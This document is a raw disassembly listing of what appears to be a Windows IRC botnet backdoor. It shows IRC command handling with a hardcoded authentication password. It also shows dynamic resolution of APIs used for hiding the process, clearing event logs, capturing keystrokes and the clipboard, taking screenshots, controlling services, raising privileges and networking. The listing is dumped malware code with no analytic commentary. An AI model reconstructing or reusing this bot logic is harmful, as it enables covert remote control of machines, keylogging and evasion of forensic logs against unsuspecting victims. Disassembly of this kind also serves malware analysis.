		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	dword_43F09C	; int
		push	eax		; Dest
		call	sub_40B44F
		add	esp, 10h
		lea	eax, [ebp+Str1]
		push	eax		; Args
		push	offset aNickS_8	; "NICK	%s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		lea	eax, [ebp+Str1]
		push	eax		; Args
		push	offset asc_4400A4 ; "-"

loc_409B0F:				; CODE XREF: sub_401CC7+715Dj
					; sub_401CC7+7833j ...
		call	sub_415CB3
		pop	ecx

loc_409B15:				; CODE XREF: sub_401CC7+6D3Aj
		pop	ecx

loc_409B16:				; CODE XREF: sub_401CC7+640j
					; sub_401CC7+64Cj ...
		mov	eax, [ebp+File]
		jmp	loc_402088
; ---------------------------------------------------------------------------

loc_409B1E:				; CODE XREF: sub_401CC7+A9Cj
					; sub_401CC7+AB1j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		mov	[ebp+Source], esi
		jz	loc_402085
		cmp	[ebp+var_A8], ebx
		jnz	loc_402085
		push	offset asc_43FEE8 ; "!"
		push	[ebp+var_90]	; Str
		call	_strtok
		mov	esi, eax
		push	offset byte_4E2F98 ; Delim
		push	ebx		; Str
		inc	esi
		call	_strtok
		push	offset asc_43FEEC ; "~"
		push	eax		; Str
		call	_strtok
		push	[ebp+Source]	; Str2
		mov	edi, eax
		push	offset a3zef	; "3zef"
		call	_strcmp
		add	esp, 20h
		test	eax, eax
		jz	short loc_409BBD
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 14h
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_43FF44
		jmp	loc_4025EC
; ---------------------------------------------------------------------------

loc_409BBD:				; CODE XREF: sub_401CC7+7EB2j
		mov	[ebp+File], offset off_43F158

loc_409BC4:				; CODE XREF: sub_401CC7+7F19j
		mov	eax, [ebp+File]
		push	edi
		push	dword ptr [eax]
		call	sub_40BAAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409C24
		add	[ebp+File], 4
		cmp	[ebp+File], offset off_43F15C
		jb	short loc_409BC4
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 14h
		lea	eax, [ebp+var_C0]
		push	eax		; Args
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_43FFC4
		jmp	loc_4025EC
; ---------------------------------------------------------------------------

loc_409C24:				; CODE XREF: sub_401CC7+7F0Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409C29:				; CODE XREF: sub_401CC7+7F8Cj
		cmp	[ebp+Source], ebx
		jz	loc_402085
		cmp	[edi], bl
		jnz	short loc_409C49
		push	[ebp+Source]	; Str2
		push	offset a3zef	; "3zef"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409C5A

loc_409C49:				; CODE XREF: sub_401CC7+7F6Dj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409C29
		jmp	loc_402085
; ---------------------------------------------------------------------------

loc_409C5A:				; CODE XREF: sub_401CC7+7F80j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh		; Count
		push	eax		; Source
		push	esi		; Dest
		call	_strncpy
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_409C91
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_43FFF0 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_409C91:				; CODE XREF: sub_401CC7+7FAEj
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_440010
		jmp	loc_402269
; ---------------------------------------------------------------------------

loc_409CA2:				; CODE XREF: sub_401CC7+205j
					; sub_401CC7+21Aj
		push	[ebp+Source]	; Args
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+Source]	; Args
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]	; Args
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]	; int
		call	sub_409CEE
		add	esp, 10h
		mov	dword_4E2F88, edi
		jmp	loc_401F5B
sub_401CC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_409CEE(int,char *Format,char Args)

sub_409CEE	proc near		; CODE XREF: sub_401B4F+3Dp
					; sub_401CC7+1C2p ...

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Format		= dword	ptr  0Ch
Args		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	200h		; Count
		push	eax		; Dest
		call	__vsnprintf
		add	esp, 10h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		leave
		retn
sub_409CEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_409D34(int,char *Str,int,int,int)

sub_409D34	proc near		; CODE XREF: sub_401CC7+50Fp
					; sub_401CC7+136Ep ...

var_400		= byte ptr -400h
Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice_3 ;	"NOTICE"
		jnz	short loc_409D4F
		mov	edi, offset aPrivmsg_2 ; "PRIVMSG"

loc_409D4F:				; CODE XREF: sub_409D34+14j
		push	edi		; Str
		call	_strlen
		push	[ebp+Str]	; Str
		mov	esi, 1FAh
		sub	esi, eax
		call	_strlen
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_21	; "%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+Str]
		push	edi
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E3148	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409DD2
		push	7D0h
		call	ds:dword_4F534C	; Sleep

locret_409DD2:				; CODE XREF: sub_409D34+91j
		leave
		retn
sub_409D34	endp


; =============== S U B	R O U T	I N E =======================================



sub_409DD4	proc near		; CODE XREF: WinMain(x,x,x,x)+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4F5370
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_4F5390
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409EF4
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4E31A4, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4E3118, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4E30FC, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4E300C, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4E2FB8, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4E2FE8, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4E3060, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4E3158, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4E31B4, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4E3018, eax
		call	esi	; GetProcAddress
		cmp	dword_4E31A4, ebx
		mov	dword_4E3000, eax
		jz	short loc_409ED2
		cmp	dword_4E3118, ebx
		jz	short loc_409ED2
		cmp	dword_4E30FC, ebx
		jz	short loc_409ED2
		cmp	dword_4E300C, ebx
		jz	short loc_409ED2
		cmp	dword_4E2FE8, ebx
		jz	short loc_409ED2
		cmp	dword_4E3060, ebx
		jz	short loc_409ED2
		cmp	dword_4E3158, ebx
		jz	short loc_409ED2
		cmp	dword_4E31B4, ebx
		jz	short loc_409ED2
		cmp	dword_4E3018, ebx
		jz	short loc_409ED2
		cmp	eax, ebx
		jnz	short loc_409EDC

loc_409ED2:				; CODE XREF: sub_409DD4+B8j
					; sub_409DD4+C0j ...
		mov	dword_4E31B8, 1

loc_409EDC:				; CODE XREF: sub_409DD4+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E3130, eax
		jz	short loc_409F09
		push	1
		push	ebx
		call	eax
		jmp	short loc_409F09
; ---------------------------------------------------------------------------

loc_409EF4:				; CODE XREF: sub_409DD4+1Dj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31BC, eax
		mov	dword_4E31B8, 1

loc_409F09:				; CODE XREF: sub_409DD4+117j
					; sub_409DD4+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4F538C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A01E
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4E3154, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4E3104, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4E3098, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4E31A8, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4E30C8, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4E30E8, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4E314C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3154, ebx
		mov	dword_4E3038, eax
		jz	short loc_409FC2
		cmp	dword_4E3104, ebx
		jz	short loc_409FC2
		cmp	dword_4E3098, ebx
		jz	short loc_409FC2
		cmp	dword_4E31A8, ebx
		jz	short loc_409FC2
		cmp	dword_4E30C8, ebx
		jz	short loc_409FC2
		cmp	dword_4E30E8, ebx
		jz	short loc_409FC2
		cmp	dword_4E314C, ebx
		jz	short loc_409FC2
		cmp	eax, ebx
		jnz	short loc_409FCC

loc_409FC2:				; CODE XREF: sub_409DD4+1B8j
					; sub_409DD4+1C0j ...
		mov	dword_4E31C0, 1

loc_409FCC:				; CODE XREF: sub_409DD4+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4E30C4, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4E2FCC, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4E3094, eax
		call	esi	; GetProcAddress
		cmp	dword_4E30C4, ebx
		mov	dword_4E307C, eax
		jz	short loc_40A029
		cmp	dword_4E2FCC, ebx
		jz	short loc_40A029
		cmp	dword_4E3094, ebx
		jz	short loc_40A029
		cmp	eax, ebx
		jnz	short loc_40A033
		jmp	short loc_40A029
; ---------------------------------------------------------------------------

loc_40A01E:				; CODE XREF: sub_409DD4+144j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31C4, eax

loc_40A029:				; CODE XREF: sub_409DD4+232j
					; sub_409DD4+23Aj ...
		mov	dword_4E31C0, 1

loc_40A033:				; CODE XREF: sub_409DD4+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1EC
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4E3168, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4E30AC, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4E311C, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4E2FF8, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4E305C, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4E30D4, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4E3078, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3168, ebx
		mov	dword_4E3088, eax
		jz	short loc_40A0DC
		cmp	dword_4E30AC, ebx
		jz	short loc_40A0DC
		cmp	dword_4E311C, ebx
		jz	short loc_40A0DC
		cmp	dword_4E2FF8, ebx
		jz	short loc_40A0DC
		cmp	dword_4E305C, ebx
		jz	short loc_40A0DC
		cmp	dword_4E30D4, ebx
		jnz	short loc_40A0E6

loc_40A0DC:				; CODE XREF: sub_409DD4+2DEj
					; sub_409DD4+2E6j ...
		mov	dword_4E31C8, 1

loc_40A0E6:				; CODE XREF: sub_409DD4+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4E30DC, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4E30B4, eax
		call	esi	; GetProcAddress
		cmp	dword_4E30DC, ebx
		mov	dword_4E3164, eax
		jz	short loc_40A121
		cmp	dword_4E30B4, ebx
		jz	short loc_40A121
		cmp	eax, ebx
		jnz	short loc_40A12B

loc_40A121:				; CODE XREF: sub_409DD4+33Fj
					; sub_409DD4+347j
		mov	dword_4E31C8, 1

loc_40A12B:				; CODE XREF: sub_409DD4+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4E30EC, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4E2FD4, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4E2FDC, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4E3040, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4E3044, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4E2FF0, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4E30B8, eax
		call	esi	; GetProcAddress
		cmp	dword_4E30EC, ebx
		mov	dword_4E2FE0, eax
		jz	short loc_40A1CF
		cmp	dword_4E2FD4, ebx
		jz	short loc_40A1CF
		cmp	dword_4E2FDC, ebx
		jz	short loc_40A1CF
		cmp	dword_4E3040, ebx
		jz	short loc_40A1CF
		cmp	dword_4E3044, ebx
		jz	short loc_40A1CF
		cmp	dword_4E2FF0, ebx
		jz	short loc_40A1CF
		cmp	dword_4E30B8, ebx
		jz	short loc_40A1CF
		cmp	eax, ebx
		jnz	short loc_40A1D9

loc_40A1CF:				; CODE XREF: sub_409DD4+3C5j
					; sub_409DD4+3CDj ...
		mov	dword_4E31C8, 1

loc_40A1D9:				; CODE XREF: sub_409DD4+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4E2FD8, eax
		jnz	short loc_40A201
		jmp	short loc_40A1F7
; ---------------------------------------------------------------------------

loc_40A1EC:				; CODE XREF: sub_409DD4+26Aj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31CC, eax

loc_40A1F7:				; CODE XREF: sub_409DD4+416j
		mov	dword_4E31C8, 1

loc_40A201:				; CODE XREF: sub_409DD4+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2CD
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4E30E4, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4E313C, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4E3144, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4E3100, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4E301C, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4E2FC8, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4E3140, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4E2FB4, eax
		call	esi	; GetProcAddress
		cmp	dword_4E30E4, ebx
		mov	dword_4E3054, eax
		jz	short loc_40A2D8
		cmp	dword_4E313C, ebx
		jz	short loc_40A2D8
		cmp	dword_4E3144, ebx
		jz	short loc_40A2D8
		cmp	dword_4E3100, ebx
		jz	short loc_40A2D8
		cmp	dword_4E301C, ebx
		jz	short loc_40A2D8
		cmp	dword_4E2FC8, ebx
		jz	short loc_40A2D8
		cmp	dword_4E3140, ebx
		jz	short loc_40A2D8
		cmp	dword_4E2FB4, ebx
		jz	short loc_40A2D8
		cmp	eax, ebx
		jnz	short loc_40A2E2
		jmp	short loc_40A2D8
; ---------------------------------------------------------------------------

loc_40A2CD:				; CODE XREF: sub_409DD4+438j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31D4, eax

loc_40A2D8:				; CODE XREF: sub_409DD4+4B9j
					; sub_409DD4+4C1j ...
		mov	dword_4E31D0, 1

loc_40A2E2:				; CODE XREF: sub_409DD4+4F5j
		mov	ebp, ds:dword_4F538C
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A59E
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4E3068, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4E319C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4E3008, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4E2FE4, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4E30A4, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4E308C, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4E3050, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4E3178, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4E3194, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4E30A0, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4E3184, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4E3138, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4E30F8, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4E30F4, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4E3028, eax
		call	esi	; GetProcAddress
		push	offset aSend_1	; "send"
		push	edi
		mov	dword_4E3020, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4E3148, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4E315C, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4E3110, eax
		call	esi	; GetProcAddress
		mov	dword_4E30D0, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4E3124, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4E30E0, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4E3120, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4E318C, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4E30D8, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4E309C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4E310C, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4E317C, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4E30B0, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4E304C, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3068, ebx
		mov	dword_4E3190, eax
		jz	loc_40A5A9
		cmp	dword_4E319C, ebx
		jz	loc_40A5A9
		cmp	dword_4E3008, ebx
		jz	loc_40A5A9
		cmp	dword_4E30A4, ebx
		jz	loc_40A5A9
		cmp	dword_4E308C, ebx
		jz	loc_40A5A9
		cmp	dword_4E3050, ebx
		jz	loc_40A5A9
		cmp	dword_4E3178, ebx
		jz	loc_40A5A9
		cmp	dword_4E3194, ebx
		jz	loc_40A5A9
		cmp	dword_4E30A0, ebx
		jz	loc_40A5A9
		cmp	dword_4E3184, ebx
		jz	loc_40A5A9
		cmp	dword_4E3138, ebx
		jz	loc_40A5A9
		cmp	dword_4E30F8, ebx
		jz	loc_40A5A9
		cmp	dword_4E30F4, ebx
		jz	loc_40A5A9
		cmp	dword_4E3028, ebx
		jz	short loc_40A5A9
		cmp	dword_4E3148, ebx
		jz	short loc_40A5A9
		cmp	dword_4E315C, ebx
		jz	short loc_40A5A9
		cmp	dword_4E3110, ebx
		jz	short loc_40A5A9
		cmp	dword_4E30D0, ebx
		jz	short loc_40A5A9
		cmp	dword_4E3124, ebx
		jz	short loc_40A5A9
		cmp	dword_4E30E0, ebx
		jz	short loc_40A5A9
		cmp	dword_4E3120, ebx
		jz	short loc_40A5A9
		cmp	dword_4E318C, ebx
		jz	short loc_40A5A9
		cmp	dword_4E30D8, ebx
		jz	short loc_40A5A9
		cmp	dword_4E309C, ebx
		jz	short loc_40A5A9
		cmp	dword_4E310C, ebx
		jz	short loc_40A5A9
		cmp	dword_4E317C, ebx
		jz	short loc_40A5A9
		cmp	dword_4E30B0, ebx
		jz	short loc_40A5A9
		cmp	eax, ebx
		jnz	short loc_40A5B3
		jmp	short loc_40A5A9
; ---------------------------------------------------------------------------

loc_40A59E:				; CODE XREF: sub_409DD4+51Fj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31DC, eax

loc_40A5A9:				; CODE XREF: sub_409DD4+6BEj
					; sub_409DD4+6CAj ...
		mov	dword_4E31D8, 1

loc_40A5B3:				; CODE XREF: sub_409DD4+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A6B8
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4E3034, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4E2FBC, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4E30C0, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4E306C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4E30CC, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4E3090, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4E2FFC, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4E2FF4, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4E3004, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3034, ebx
		mov	ecx, dword_4E3090
		mov	dword_4E312C, eax
		jz	short loc_40A694
		cmp	dword_4E2FBC, ebx
		jz	short loc_40A694
		cmp	dword_4E30C0, ebx
		jz	short loc_40A694
		cmp	dword_4E306C, ebx
		jz	short loc_40A694
		cmp	dword_4E30CC, ebx
		jz	short loc_40A694
		cmp	ecx, ebx
		jz	short loc_40A694
		cmp	dword_4E2FFC, ebx
		jz	short loc_40A694
		cmp	dword_4E2FF4, ebx
		jz	short loc_40A694
		cmp	dword_4E3004, ebx
		jz	short loc_40A694
		cmp	eax, ebx
		jnz	short loc_40A69E

loc_40A694:				; CODE XREF: sub_409DD4+87Ej
					; sub_409DD4+886j ...
		mov	dword_4E31E0, 1

loc_40A69E:				; CODE XREF: sub_409DD4+8BEj
		cmp	ecx, ebx
		jz	short loc_40A6D3
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4E30A8, eax
		jnz	short loc_40A6D3
		jmp	short loc_40A6CD
; ---------------------------------------------------------------------------

loc_40A6B8:				; CODE XREF: sub_409DD4+7EAj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31E4, eax
		mov	dword_4E31E0, 1

loc_40A6CD:				; CODE XREF: sub_409DD4+8E2j
		mov	dword_4E30A8, ebx

loc_40A6D3:				; CODE XREF: sub_409DD4+8CCj
					; sub_409DD4+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A71D
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
